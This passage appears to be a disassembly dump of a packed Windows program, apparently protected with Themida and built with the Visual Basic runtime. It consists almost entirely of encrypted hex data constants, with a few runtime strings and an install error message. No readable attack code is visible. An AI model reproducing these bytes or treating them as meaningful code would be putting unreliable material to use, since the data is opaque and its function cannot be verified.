73AFC945h, 55FC00EEh dd 599CBA97h, 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h dd 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch dd 100h, 43h dup(0) dd 3736D1F8h, 0D3C20DA4h, 3B8B4B5Fh, 0FF4E9h, 0FE216800h dd 0F5E9064Dh, 68FFFB4Ah, 64DFF47h, 0FB4AEBE9h, 0BC68FFh dd 0E1E9064Eh, 68FFFB4Ah, 64E019Ah, 0FB4AD7E9h, 2AB68FFh dd 0CDE9064Eh, 68FFFB4Ah, 64E03A0h, 0FB4AC3E9h, 44F68FFh dd 0B9E9064Eh, 68FFFB4Ah, 64E04C2h, 0FB4AAFE9h, 5C068FFh dd 0A5E9064Eh, 68FFFB4Ah, 64E0654h, 0FB4A9BE9h, 71668FFh dd 91E9064Eh, 68FFFB4Ah, 64E07F4h, 0FB4A87E9h, 8A768FFh dd 7DE9064Eh, 68FFFB4Ah, 64E09D8h, 0FB4A73E9h, 0AC968FFh dd 69E9064Eh, 56FFFB4Ah, 0BD3B0485h, 24B46F22h, 0BA46F998h dd 28B86B1Eh, 2648FB96h, 0A8E9F512h, 38516977h, 0A9E0F907h dd 3E536A76h, 0E873F405h, 9AB8BBA8h, 22132B70h, 0B932D6BBh dd 20187147h, 0ED30D4BDh, 9100DD09h, 1FE76ECEh, 31607C2Ch dd 785B28C5h, 2AFBE5Bh, 68C429BFh, 0A7A74ED8h, 24329965h dd 209BA872h, 48h, 58E31FEh, 0A106B7ABh, 1EEE4873h, 0DB3CAF17h dd 0B761AF3Ch, 0E129A106h, 6ACC91F8h, 0BE54EA61h, 0BB4974AFh dd 4EE4FE0Eh, 6DCA3DA7h, 4EE4929Eh, 3F75AA7h, 0AAAC1FE7h dd 9A9BA881h, 23C1D0EEh, 0E2CD3E18h, 0A1000000h, 0AB058E31h dd 73A106B7h, 0DB02EE48h, 29FA35B6h, 3859665Fh, 16CEA1ACh dd 6C6306Ch, 9B296876h, 2411724Bh, 0F78C9AB5h, 5DAD3B06h dd 0E14E1180h, 97F08B2Fh, 1EF4FFCh, 0E9D244F9h, 0A106A7B1h dd 2AE79C41h, 989764D1h, 10FF40FDh, 0E8523FA0h, 18ACE5F8h dd 0AA9D65ECh, 0BD95AAE1h, 560934AFh, 92616FE6h, 0A74E237Eh dd 0C546FB46h, 6B95778Ah, 0ECF27DB0h, 275DB6D7h, 6C896DBBh dd 0E9B99Fh, 0CD3E81B6h, 7120BE6Ah, 2EE4853h, 0D532B5DCh dd 988A0A06h, 8B6FD2ADh, 494896A2h, 55A92220h, 4CEFB5FCh dd 0D83h, 74AFDA01h, 0ED365B64h, 7FC0D1EBh, 0F1325781h dd 81C2CFEFh, 0A03ECBEDh, 8B22EF1h, 9742BE81h, 0EAF31F2h dd 0BE41C083h, 0B8B9DB35h, 0E876A39Ah, 8AD5BC22h, 21622F8Eh dd 0CF373E85h, 8110AC5Ch, 1FE5863h, 0C6CBF29Eh, 54C46754h dd 34EAFBEh, 0E53478E5h, 0DD00A74Eh, 0F7C810B4h, 0DFFE8E9Ah dd 180B16B2h, 0E368529Ch, 0F06E5DA9h, 0E09BA881h, 0D85CB43Fh dd 1924A74Eh, 0FCCC3Dh, 0DD4B0000h, 0A2AC8EFBh, 5AC8BB22h dd 0EC9D3B66h, 827AD5D8h, 0F3114CE8h, 92365B63h, 6B3ED2Dh dd 31607DA1h, 0C6CBF2EEh, 0BD46E922h, 0A106B173h, 4B3F103Bh dd 0F56477EAh, 333ACA2Ch, 10B1B6C5h, 954A67Eh, 0D116551Eh dd 54B3AFBDh, 4E5E8987h, 31088CA7h, 0FBDDD9BCh, 7468D2FDh dd 2F261649h, 45B354D7h, 97241673h, 0B601BEF2h, 0C4BF1D8Bh dd 0F8933243h, 9F45F857h, 0D0E0AB9Ch, 98AD991Dh, 0AE11C135h dd 90F3CB3Dh, 0EC53AD8Bh, 0DB35BEDDh, 0A3AD999Ch, 0E798E598h dd 0F7C78559h, 0A6A6E79Ah, 0CDFC5496h, 0C5DB417h, 0DB0000h dd 754AD689h, 7D5631Ch, 7147D98Ah, 5D96718h, 89B3D38Ch dd 285B3688h, 7CC7C218h, 0F32C5D7Ch, 86B9D8E5h, 256BF87Bh dd 0ED9AB8B9h, 0BC229EC0h, 0B7BCD49Fh, 3984A106h, 20BD3B04h dd 0CF41AE71h, 2B84A0E9h, 721D7DE9h, 9D9FE286h, 76B94F42h dd 0BB22BA84h, 13AA32D6h, 1B6F6370h, 4EB94557h, 5D36BC5h dd 550833A1h, 0D5232A0Ah, 1FEC99E2h, 0A1061C11h, 0A49D76D9h dd 0BA2DF024h, 0BE722231h, 43E1ECAFh, 4E9F9696h, 147D62A7h dd 3D5468F0h, 808E86A7h, 26D2353Ah, 9E5AE794h, 5B3F1934h dd 2EB83426h, 0E62AB956h, 0AEA74DD5h, 4E137E5Eh, 72C452ECh dd 44B49BA7h, 9DECCE76h, 0EBF94487h, 0B84C3D9Bh, 0BD4EA875h dd 54h, 0CF373E71h, 0BEA08F5Ch, 272AAFBEh, 28697424h, 25A5919Ch dd 4EBC74B8h, 8D59B3A7h, 0A855E03Eh, 2EDC9Bh, 0CD3B0000h dd 46899FF2h, 373E6AD4h, 2C8F5CCFh, 0F6AFBE56h, 7C903DCBh dd 0BBA74EE3h, 1806C551h, 149BA881h, 17h, 0D9B80573h, 3016004Bh dd 86907h, 304B8400h, 5DB0324Dh, 3E3E08F2h, 8F5CCF37h dd 0AFB483E0h, 34E4676Ah, 0A937E8A9h, 3B677D14h, 905BCC34h dd 0B6028030h, 0A652D5F8h, 37C97A17h, 0A9DDEBA6h, 46E962A2h dd 0AC8E03DAh, 5A4D801Fh, 46074ABCh, 0F6035750h, 0E84EF1B3h dd 6600000Ah, 0EDEB3455h, 7484BFD2h, 0EAF62968h, 7888BBCEh dd 56F82B66h, 7819A562h, 0E8A139C7h, 7910A937h, 0EEA33AC6h dd 0B843A435h, 9AB8B778h, 583DB40h, 0A106BAA7h, 0BF28988Fh dd 0B4862B34h, 9C67C8AFh, 0A754B394h, 0F0147D60h, 322427ADh dd 70E49FA2h, 551E09F9h, 0B6028192h, 0CA36B11Ch, 62E59EF3h dd 28355EEDh, 726A1B20h, 9DA0444Dh, 1902DB9h, 48B8AFE3h dd 0EED040DFh, 0BE0AB7A3h, 86BC5046h, 7E60D03Bh, 5AC62713h dd 6B1D0E83h, 54D93D54h, 0AF98F9C4h, 752D8310h, 7B08B3F0h dd 0B3F07535h, 0FB46D2FDh, 0FC0EBB1Fh, 0DB33F074h, 0E9FF922Dh dd 898074E6h, 0A271CE39h, 33F0748Eh, 0CEF1EB56h, 401A25C3h dd 0DB060BFh, 0A299284h, 9442A810h, 95200029h, 0B1736FB5h dd 0A0A0Eh, 56338800h, 0DDB40B0Dh, 4B4696A2h, 0D9B00818h dd 4D449AA6h, 0C7487412h, 57E99AF7h, 0BB3D0683h, 28B86B1Eh dd 0B643FC95h, 0B66AA635h, 0ED329AB8h, 0CF373E51h, 84D08F5Ch dd 0C15AAFB4h, 54B2DE32h, 0E69BA6A7h, 672AB365h, 538C2B1Ch dd 6AD276A0h, 494774BEh, 11A75457h, 419C4CAEh, 0C940B450h dd 0FFB10EF9h, 7B48B2DFh, 0B6022490h, 0C434B71Ah, 68E798F9h dd 51F43CC7h, 91BCADA2h, 0EDA439A5h, 4EA4ABD7h, 1EED60C9h dd 0ADA26012h, 369C77DAh, 66E19C4Fh, 5022B39Dh, 17103BBCh dd 0A83C5569h, 0D334B1A5h, 5069A734h, 0E31B3F0h, 7021BC2Ch dd 0C08C31AFh, 3DAE731Eh, 0BF9BEECBh, 505EAE1Bh, 0CF46B3F0h dd 3C67F4F7h, 0C6C29E1Eh, 0BD20907Bh, 308D8BD4h, 0A23AE661h dd 64D6D9EFh, 8F3D3460h, 3E4BAC04h, 144974BAh, 0A9E77413h dd 71BA3E4Bh, 800BEC4Eh, 0C8EC1987h, 0EE1AAE11h, 0DFAC9F67h dd 0CF443A88h, 6C3EEF52h, 0AFE319D8h, 8F952FDh, 64770000h dd 1DE5A25h, 6B51CF90h, 0FDDB5D26h, 7945D38Ch, 0F5476718h dd 7CC7CA14h, 0F82B5E7Ch, 87B8D1E8h, 0F22D6479h, 0B9F784E7h dd 819AB8B5h, 0BB22421Ch, 13AA32D6h, 9F206A7Eh, 25C3CEF1h dd 3AC4401Ah, 34EFA23Bh, 60551CFAh, 101895h, 31D60000h dd 274DEBB6h, 5CBE0A56h, 51A71h, 95014D00h, 72BE4DEAh dd 3AA106B7h, 58CF2317h, 0AC117F68h, 0B7CCE4AFh, 2994A106h dd 16E502F4h, 0AFBE5181h, 23F5E95Eh, 4DFA07D1h, 0BA9CEDCBh dd 0D6A3272Ah, 7943AF68h, 7459907h, 548DCB5h, 272EDE38h dd 609F6CDFh, 0EA8912EEh, 58C841E7h, 0B5F80C85h, 5BAB141h dd 0A4A7DAB7h, 5B64E8F4h, 0D28F9236h, 0AF288768h, 7B5DA14Ah dd 67D7450Eh, 0B6B019FDh, 428F55AFh, 0E0AB0CFFh, 86EEADD0h dd 24C13598h, 0F7286974h, 8CBDD4E9h, 22FF85A8h, 4B619CBh dd 82000008h, 0F1EF3059h, 8080C3CEh, 0EEEA355Ch, 7484BFCAh dd 4A5C276Ah, 0D4BD21EEh, 5C2D8D8Bh, 0C5C41523h, 325F7E7Ah dd 48FF0F1h, 9AB8B4ACh, 22172774h, 0AA32D6BBh, 52C27D14h dd 0EA26B5DBh, 0B2A106B7h, 8A59D28Fh, 0AFB4846Fh, 7E210A35h dd 0E08ABF49h, 0CBBF90F9h, 0C51105CFh, 793A8BF8h, 93BE41ACh dd 3A8395CEh, 0CE45B157h, 0E692F5F6h, 9EF281D2h, 66A75424h dd 0BF02265Bh, 0F27D6E5Bh, 0C407B601h, 8908D543h dd 0E8734AD6h, 0A220151Bh, 0AF72DDADh, 2C67E019h, 5C7666CDh dd 39CFC21Bh, 1FCF2BF6h, 0E59BD2BFh, 0EEFC4BBCh, 755933Eh dd 8D30000h, 9D42BE81h, 0FAD2BF4h, 993FC182h, 0DB12FF0h dd 91ABBB84h, 0F0335E80h, 84BFCAF0h, 5B246574h, 0CE9100DDh dd 0D23F053h, 0D59AB8B4h, 373EF648h, 0DC8F5CCFh, 66AFB484h dd 9D40F05Bh, 0CC97D0F4h, 0A754B2C4h, 1AFC418Ch, 0FF922BDDh dd 6829B444h, 2CA41B5Ch, 39B9681Dh, 4CC33723h, 67E87374h dd 31B60BFCh, 0B8AB5F0Eh, 0FCB0FC51h, 6E251h, 0E7B6000h dd 95FCC355h, 236E4ECAh, 91F8E060h, 256C52CEh, 1FF04C5Ah dd 8F91D2BFh, 13255E2Bh, 8080C3C6h, 0EEEB345Dh, 0B3B2FE8Dh dd 357A9AB8h, 0D6BB2209h, 7E13AA32h, 5AA4206Ah, 94CFC21Bh dd 60507CDAh, 117895h, 7360000h, 313h, 83C91484h, 0FE0A573Ah dd 22FD47B3h, 74FFA0BBh, 0A106B81Ch, 0EE42D9E4h, 0BAA106B7h dd 575A6E23h, 0CDB57EC1h, 74430910h, 0C430D489h, 672754Dh dd 7E7FDBB6h, 0B3ECF6F5h, 23D80AFh, 0CF9CE7F6h, 0A16D37CAh dd 0E5E6AB7h, 0D0E0ABB0h, 98A75423h, 0C537E835h, 0E675764Eh dd 0B601F0A6h, 37FD4681h, 0A88B9659h, 0A209D5DBh, 0EF329DADh dd 7374D70Bh, 6ED9B805h, 9EE42D1h, 8BB6ADA2h, 637A86AFh dd 6C529A2Eh, 6E4BF9E0h, 7FC20D1Bh, 33E526C2h, 7F73E7AAh dd 61CF3888h, 0C522147Dh, 59AE3536h, 8DBCFFBCh, 0F60405C7h dd 0E449F4B8h, 62000005h, 0D14F1079h, 60E0A3EEh, 0CE4A157Ch dd 54E49FEAh, 2A3C078Ah, 0B4DD010Eh, 3C4D6D6Bh, 0A5E4F503h dd 127F5EDAh, 0A46FD051h, 9AB8B28Ch, 2277C754h, 0AA32D6BBh dd 206A7E13h, 0C21B5AA4h, 0D2E35CCFh, 3C8A0496h, 0C649EE48h dd 0F90F825Ah, 6CEA44B6h, 5C955FF4h, 53E030BBh, 54E3A106h dd 0C67B2EF8h, 1AFC3FD5h, 0EE9h, 7F31C500h, 979A2E5Bh dd 15B18A3h, 31460000h, 0BC2F5A7Fh, 6B7E12Fh, 0B4A6A9A1h dd 51F89924h, 8E77B8Dh, 509B46E6h, 0CE000005h, 55E39CEDh dd 0BC3C078Ah, 32AE7120h, 0C0400386h, 9EB0731Eh, 40516D9Ah dd 0B0D901FFh, 4148716Fh, 0B6DB02FEh, 800B6C6Dh, 9AB8B230h dd 228BB3F8h, 0B932D6BBh, 0D1B7647h, 0EEA33AC2h, 9001DC0Ch dd 1385E274h, 9951C5CCh, 0FC95284Dh, 51090B43h, 19059560h dd 0D9000000h, 0E007h, 7F31DB00h, 33452259h, 0CD350781h dd 0CE1FA690h, 43000000h, 345D7F31h, 59A98D90h, 0E12FBCD2h dd 0A9A106B7h, 0A370DBA6h, 0AFB483E8h, 0C4C51385h, 1D318252h dd 0F5AA69E0h, 6D992FF2h, 5506D9E6h, 54878A86h, 32EF52A7h dd 746FFCEFh, 0FEB60C27h, 0B4C2CE9Dh, 478AAD9Ch, 7E9553FAh dd 4EDEFC51h, 48EA3h, 0DAAF0C00h, 494897A9h, 0DFB20A16h dd 454494A4h, 0B1E0FEFAh, 2BDCE06Eh, 0B345FE93h, 1F216227h dd 8494CFBAh, 1A275839h, 0B0C6CA99h, 218E9AB8h, 0CF373E3Dh dd 75218F5Ch, 0A6A9AFBEh, 0A8E9F3A5h, 33F4C77h, 0B00DA74Fh dd 0D50419Ch, 9B23D552h, 4F9B77E8h, 0E19CB254h, 0D21EF843h dd 881A7EAh, 84CBECFh, 607A6F15h, 0BB02F429h, 41Fh, 8FFAE050h dd 3DBC09C4h, 0B99D7D37h, 99373E93h, 6B7C6CAh, 0FE438EA1h dd 0DEFEAA0Dh, 3D4C6Eh, 547DD9E4h, 0AFB48497h, 94F5C434h dd 0B4C8C893h, 2D90A754h, 4E7119C9h, 0B1EAFE43h, 13B1E0FFh dd 0CE93F6C3h, 3191986Ch, 6C2A81B6h, 8C9B4694h, 0C5BE4DAAh dd 62B60BF8h, 8D6928B6h, 7F12AD5Dh, 721B6669h, 0FC51ACBEh dd 0B08C2FF5h, 2E000003h, 0B543FC8Dh, 1C1C672Ah, 928ED1C0h dd 20206326h, 0FE90D3BEh, 20714DBAh, 90F9E15Fh, 216851CFh dd 96FBE25Eh, 20EB4CCDh, 9AB8B110h, 3EEB53D8h, 8F5CCF37h dd 0AFB483E0h, 0C791427Dh, 211E2C5h, 40410631h, 3B1FF8B5h dd 0DC7F5FA7h, 547C010Fh, 0BB86C9A7h, 59228586h, 0A7547C57h dd 0BD3A1C1Fh, 641F724Bh, 7C8809D4h, 8B0108h, 0A7547CB0h dd 1F085578h, 249EC54h, 9E89B4B6h, 5F2A8F01h, 449486C9h dd 0D9671879h, 0B778D04h, 0F6657704h, 0A278236Dh, 9DE0EBADh dd 25B967E0h, 9E6D8A6Ch, 0BC5A1701h, 33C980CBh, 54F6038Fh dd 2FD2D90h, 607B0000h, 0D5EAF629h, 677583BCh, 0D1E7F92Ah dd 657987B8h, 6953F32Ch, 0C87B16A8h, 9CE7A238h, 134C3D9Ch dd 0A6D9B805h, 454B189Bh, 0D9AB8B0h, 0BB22BEA0h, 13AA32D6h dd 0BE1B8D7Eh, 4E7FF8BDh, 0DAA7194Dh, 0CE45B780h, 4D66F5F6h dd 0D7AFBE43h, 78175074h, 4EC0A5EBh, 404971A7h, 147544B4h dd 8670ADF0h, 4EC0EF3Dh, 10DE2EA7h, 0D3B60474h, 594FCD67h dd 414B9BA8h, 0CC000000h, 0F311805Ch, 3E084EA8h, 0A7FCC137h dd 94DFB20Bh, 39045CFEh, 0B78645CEh, 7710AFBDh, 4E46A4ECh dd 0D7616CA7h, 50BB8603h, 0AB8FFAE0h, 466AC227h, 63A9A74Eh dd 0E42E309Bh, 0BA2A9BA7h, 4000000h, 32D6BB22h, 677D14AAh dd 35D3BE1Fh, 8E7918A5h, 32D6BB22h, 0F9220BEFh, 0A106BEC1h dd 24EF6C51h, 0A106BD0Ch, 33B469D4h, 0A397FAC5h, 325F7E7Ah dd 1BEB6296h, 0B8218F30h, 0EE833D1h, 0BEBCC6C5h, 32ED50AFh dd 907B4BC2h, 1CF7E03h, 4EB904B6h, 0CA95FCE2h, 4813AB5Dh dd 996C75BBh, 4F123DADh, 8931B9h, 0B2A4D9E4h, 50F99826h dd 0FC54C6B4h, 0CCC22DBFh, 4A000001h, 0D9671871h, 48D88B06h dd 0D6621D74h, 3CBC8702h, 1234EFA2h, 0BCD5E926h, 24657583h dd 8DFCDD5Bh, 1A7746D2h, 8C57D869h, 9AB8AE84h, 227FDF4Ch dd 8E8AD5BCh, 6EE9622Fh, 301806CCh, 0D760BA38h, 0CF373EAFh dd 541C8F5Ch, 9BA6AFBEh, 0E3CCE08Dh, 810BA74Eh, 80C85675h dd 0D8C49BA8h, 43000000h, 0D81917E4h, 0DEE1A74Eh, 0BB22D27Ch dd 0B7BDD3A0h, 0CB98A106h, 0A106B7C5h, 8BB6428Dh, 29B255D6h dd 0A106B7E7h, 2AAA8CAFh, 9295FCE2h, 4EEEF81Dh, 0FC5EE914h dd 772773D8h, 26B7A106h, 0D1E99226h, 0C34ADA6h, 0BF80BD80h dd 0CFF59C41h, 0D354ACA3h, 0BE8B6308h, 0A1E2EDAFh, 0DB4CB4BBh dd 1AA3010h, 37D40BB6h, 0E2352F60h, 0B076BA49h, 133EAD99h dd 20EDD4Eh, 0CAAD99B1h, 0FC3F9387h, 50419D0Bh, 0E4AD110Fh dd 54832BA5h, 35984CFCh, 0DBh, 3C078259h, 0B56E23BCh, 47F89923h dd 0B96A1FB9h, 49FA9727h, 0E8F61325h, 506A76A9h, 0DFFA0639h dd 566779AAh, 76F9083Bh, 0B8ADA3EDh, 203E6B9Ah, 8AD5BC22h dd 0BED3EB9Dh, 8B4C272Ah, 23E4BB7Bh, 0FFDE0AECh, 22B5D192h dd 0B932D6BBh, 5D37147h, 205D6084h, 0B8545C27h, 0B11CA106h dd 4D449945h, 0DB2B2212h, 83B4A370h, 537EAFB4h, 60FB34B5h dd 10156225h, 724B9B7Fh, 9D4641Fh, 0E9CF7C88h, 0DCED911Bh dd 2E8FE630h, 0BD202063h, 1C61308Fh, 2F627D2Bh, 0C6959699h dd 0E519A9CAh, 7CB2F92h, 9430597Fh, 0E0D42A5h, 0C207D8AFh dd 5FE2F53Fh, 8FA84514h, 0AEC74FABh, 1789820Fh, 0C66FCBC6h dd 14A9A33Ah, 1964677Dh, 0D600Bh, 79270000h, 0B7DAE361h dd 0E7530E11h, 226DB95Dh, 0A434D0B9h, 1C6C7819h, 0B038CCBDh dd 21697F0Ah, 0A830D4BDh, 1D6D7B16h, 0B23ACEBBh, 1961870Ah dd 0D93DCBC6h, 5E08950h, 4, 8704E883h, 248B2404h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 628068h, 24048900h dd 4DFCCC68h, 8B545E06h, 0C4832404h, 4EC8304h, 8F243489h dd 34FF0840h, 0C4835824h, 2434FF04h, 4C4815Eh, 0E9000000h dd 0FFFB3B14h, 0CAE478C4h dd 54E352E0h, 0BC9B89Fh, 0C503064Eh, 0DF8DE0FFh, 99591048h dd 9B3F3459h, 6BFD3F35h, 91958C2h, 52B652C5h, 0A03B6D4Eh dd 212B5141h, 1DC753D5h, 56786DC9h, 30914AC3h, 266A46B3h dd 5760513Eh, 3A637AB9h, 0EE6C628Ch, 4BB62196h, 8D8D4D8Bh dd 64E0D19h, 8D89D38Ah, 6480A19h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 77C35747h, 14199D8Bh, 85C70648h dd 6480F35h, 6FA4h, 0F0D9D8Bh, 85C70648h, 6482425h, 0 dd 14E9h, 16AF1F00h, 0C39EE607h, 0F444D837h, 3722DA0Ch dd 5AFA2841h, 37D781D1h, 0FF16507Bh, 4824B5B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8BD844BCh, 48095585h, 0BD95FF06h, 89064820h, 480FD195h dd 0FF006A06h, 48306195h, 0EBC08B06h, 32062A3Ch, 4A046F85h dd 0A94557F2h, 31C62586h, 0D7C4E7F3h, 0CF65A665h, 5860B981h dd 0D966A6C4h, 3B26919Ch, 0CC9A6FBBh, 0EF6614F5h, 61D5470Ch dd 0F5540192h, 7D3EE50Ch, 0FEE0B30h, 5E82Ah, 26880000h dd 803288BCh, 95B71C4h, 48295195h, 0F8C38106h, 0BE00005Bh dd 46936BB6h, 8509FF33h, 6480CA1h, 891F34FFh, 4805259Dh dd 81F85A06h, 0A90907C2h, 81C18B19h, 88CF21EAh, 6850F2Fh dd 89000000h, 480995BDh, 0ABC28106h, 0F258A57h, 0E952C1BFh dd 0Fh, 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h, 8FBDE184h dd 9D893B04h, 6482B49h, 81BAD480h, 0ACDFC5EFh, 658D8B61h dd 81064827h, 0ACDFC1C7h, 29958961h, 81064828h, 0FFA4D4FFh dd 1D850FFFh, 8B000000h, 48283185h, 30E906h, 0EA8B0000h dd 13A418B1h, 860A28F1h, 2A543040h, 664E82FEh, 5AD9589h dd 65E90648h, 0E1FFFFFFh, 0A933D047h, 17478B4h, 2C0919A6h dd 582CB54Ch, 5CE9E770h, 0C5000001h, 4377E705h, 5F6D5C3Ah dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h dd 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 3Bh dd 0E97B3A59h, 1C0Eh, 4E117968h, 6DBDE906h, 9468FFFAh dd 0E9064E12h, 0FFFA6DB3h, 4E13A668h, 6DA9E906h, 6868FFFAh dd 0E9064E14h, 0FFFA6D9Fh, 4E14A768h, 6D95E906h, 7768FFFAh dd 0E9064E15h, 0FFFA6D8Bh, 4E15CA68h, 6D81E906h, 1168FFFAh dd 0E9064E16h, 0FFFA6D77h, 4E1D4668h, 6D6DE906h, 168FFFAh dd 0E9064E1Eh, 0FFFA6D63h, 4E1EB168h, 6D59E906h, 0A568FFFAh dd 0E9064E1Fh, 0FFFA6D4Fh, 4E200468h, 6D45E906h, 1368FFFAh dd 0E9064E21h, 0FFFA6D3Bh, 4E21E368h, 6D31E906h, 7868FFFAh dd 0E9064E22h, 0FFFA6D27h, 4E281B68h, 6D1DE906h, 1A68FFFAh dd 0E9064E29h, 0FFFA6D13h, 4E2A2468h, 6D09E906h, 3E2EFFFAh dd 3C194AF2h, 411748F0h, 441A3BF5h, 481F40F8h, 0FDC554FCh dd 29135F78h, 1B156178h, 331D697Ah, 2C247062h, 0F66884A8h dd 365614C2h, 6981939Fh, 5D75221Dh, 0F0502711h, 13606CD8h dd 69498E92h, 7BEF7DC6h, 0EC560ED3h, 6990FC6h, 7D5B3932h dd 32h, 0D3E95B11h, 79704975h, 0B2F26468h, 0DF424FC6h dd 0AB80EC46h, 1498E9Eh, 5E77251Eh, 78F43E8Ah, 560EDF02h dd 20966D65h, 5B394183h, 0EA00h, 55869600h, 79E6307Ch dd 6D0A1561h, 7F1D2672h, 0B31F8F5Bh, 0F20D4FC6h, 12233728h dd 0C6B3483Eh, 0DC45EC4Fh, 49253963h, 4FC6B355h, 81DE38D7h dd 34805369h, 0ACED16EBh, 66E5AAEDh, 58143CE5h, 4FC7A2AEh dd 69D31F33h, 4DD62238h, 401C3404h, 8F82972Ch, 0B3A68F49h dd 0A6BBDC67h, 0C167B35Ah, 9970BC94h, 5068D89Fh, 0D8F4C8F4h dd 560F7366h, 0A3CF6BC6h, 4FD4C39Bh, 0C19AC669h, 95EE5AA6h dd 5360F362h, 8FC75313h, 5718AAD3h, 27392716h, 49954A0Bh dd 0BC09FEE9h, 8F6EB9CCh, 198Dh, 50085408h, 520A560Fh dd 510B5711h, 520A5610h, 520A5611h, 0D1860BD3h, 0D78ACB85h dd 0DB90D18Bh, 0DEF4A58Fh, 0EA36AA92h, 14C470E6h, 1D21C456h dd 79556681h, 4FC6B305h, 43210827h, 0B3635317h, 2ED14FC6h dd 372B6CE4h, 5B1771EBh, 4475D3E9h, 0F76C3F8Dh, 6CB36C6Ah dd 5BB78A95h, 3E18EBFFh, 0BB56498Fh, 5F32748Dh, 0E673E630h dd 0E159F34Ch, 86560F91h, 0E4FF7550h, 9F5B39F4h, 0ECh dd 236F6455h, 69812D17h, 5F6B7C53h, 4FC6B2EFh, 4BE23Dh dd 18470029h, 2C222E3Fh, 4FC6B3h, 7B5C0821h, 46FF1B67h dd 0C6B7002Eh, 944D6E4Fh, 102AFF48h, 0E54F9B4Fh, 7ECAA0B9h dd 85D25CC5h, 73C681CDh, 0B18DBBD1h, 0B7CDC18Dh, 0C05F4FC6h dd 9EE5FE76h, 0E847498Eh, 6E845B7Ch, 0EF32C78h, 67331BF7h dd 0C6509C4Eh, 8DBBD173h, 0A324A574h, 3539B4FEh, 560F5141h dd 19F50CF3h, 0BE502D41h, 23FE4FD4h, 253B1445h, 0D47DE2Ah dd 0E747934Ch, 0CCBC20E6h, 729786B1h, 0ED000018h, 0F0B1ABF7h dd 0EEAFA9F5h, 0D586AEFAh, 0D283ADF9h, 9887B1FDh, 66B2AD32h dd 68B4ADEEh, 70BCAFF0h, 77C397C8h, 0B995D9BDh, 5614C5C5h dd 86428C67h, 0B746B91Dh, 0B7831683h, 0EB65B1A6h, 84D086AFh dd 69B5ADAAh, 0BB07DAFBh, 0B5A69970h, 0BF89CD69h, 3F1D6981h dd 2AF54116h, 55023BD7h, 3007317Dh, 804CF810h, 498E9EDFh dd 0EE3A2E07h, 2823FE24h, 0EDF168Ch, 0A2615156h, 393D972Ch dd 3300215Bh, 0CE7E31DBh, 0E773B47Eh, 0B000000h, 739B94Fh dd 4E6753F1h, 0A9C14D99h, 498E965Eh, 0B3E86F90h, 27E9F1E6h dd 45DE632h, 0D7F5041Dh, 0A1A47EB5h, 7F583A0Ah, 0F611F833h dd 1C17BD19h, 57051CACh, 317D5283h, 120D590Eh, 0A887E32Fh dd 0E01C613Ah, 891F8BBFh, 0F768DA68h, 0BA8F98E4h, 0DC67CA60h dd 76C297C0h, 87D38AADh, 9B9D949Eh, 0BD13D785h, 0AB1E27AAh dd 0EBFFD884h, 0EEE4B59Fh, 0AE9D11DDh, 708F2298h, 0E85A7999h dd 4A151E6Fh, 1760EBh, 0BD09DB00h, 0BF0BC293h, 0C00CC495h dd 0C30FC798h, 0C30FC899h, 0BF448A99h, 0A3F45CA8h, 0A9FA62AEh dd 0ADEE66B2h, 0EBEF69B5h, 0C6BBABBFh, 5A795614h, 1D698158h dd 0A3FDE3Fh, 0D76DD73Dh, 97F16569h, 0DC434FC7h, 1424ED52h dd 627760FCh, 0DA340D16h, 83C96E82h, 240B498Fh, 8E47702Ch dd 0FD492142h, 5A860B31h, 3D083F49h, 0A665D66h, 4FC7A894h dd 8E9D7998h, 0B0C878F8h, 8B6FB894h, 0DEF7498Fh, 0B375C10Dh dd 0A881CD82h, 1A7D3B59h, 7ACACF37h, 5EA0662h, 47CAEEBCh dd 2A1A5FE8h, 3E1A3612h, 0EED0B53Bh, 0DD449049h, 3684567Fh dd 0E8F4D9F6h, 1741E845h, 0EA489446h, 4DDD191Dh, 9E62D39Ch dd 19000016h, 1C3DF743h, 1A3BF541h, 2142FA46h, 1E3FF945h dd 0C453FD49h, 125E79FEh, 1460792Ah, 1C687B1Ch, 236F6334h dd 7579A539h, 5614C701h, 818E9033h, 2A0D1D69h, 6DCCBE14h dd 165F53C2h, 0ADA0000h, 8C596BEh, 0DC394BCh, 10C697C1h dd 14CB8CC4h, 499190C8h, 95BF0BC4h, 97C10DC4h, 8FC915C6h dd 68D01CCEh, 32242874h, 25614C7h, 1D86DFE3h, 0A0FF1701h dd 0C996A09Ah, 0BE97C511h, 45225BA9h, 0B97FB920h, 0A872D750h dd 526ADA9Fh, 6F99DAF6h, 2CD3498Fh, 68845804h, 560FAFF6h dd 0B7ABB933h, 0C55D925Dh, 706E7268h, 0EC152815h, 0DC6E0322h dd 5418445Ch, 4FD6C10Bh, 907D639h, 0D36E1763h, 529EB2A3h dd 0B9CF71C8h, 0B4EAF8Bh, 48F6099Dh, 0EF501CF6h db 9Dh, 36h, 0E6h aIRx db ']б┴╟░xл',0 ; DATA XREF: Themida_:0053E17Co db 0A8h dd 98E46D5Dh, 0F8EACB79h, 0FFD884ACh, 0A214D8E9h, 92EC725Bh dd 0A6AA966Fh, 0EC725BB0h, 0C4919D84h, 8374C20Eh, 0FE5015BCh dd 158FC035h, 5A0A0000h, 5875260Eh, 5D73240Ch, 60762711h dd 647B1C14h, 99412018h, 45EF3B14h, 47F13D14h, 3FF94516h dd 58004C1Eh, 62541844h, 0D25614C8h, 2096AFF3h, 5E4FC6B3h dd 4FC6A2E4h, 0C6B31892h, 0B2E45E4Fh, 657D4FC6h, 1402F919h dd 0C26DCCBEh, 153C53h, 59A5B700h, 5BA7BEDFh, 5CA8C0E1h dd 5FABA3F4h, 5FABA4F5h, 0DB6066F5h, 0DF80B804h, 0C596BE0Ah dd 0C99AC20Eh, 78BC511h, 0C89707E3h, 3E955614h, 0D3E95BF4h dd 0A96E5975h, 61C0498Eh, 0F60FCCD1h, 7DE08BCAh, 14F5h dd 8307C70h, 0A327E57h, 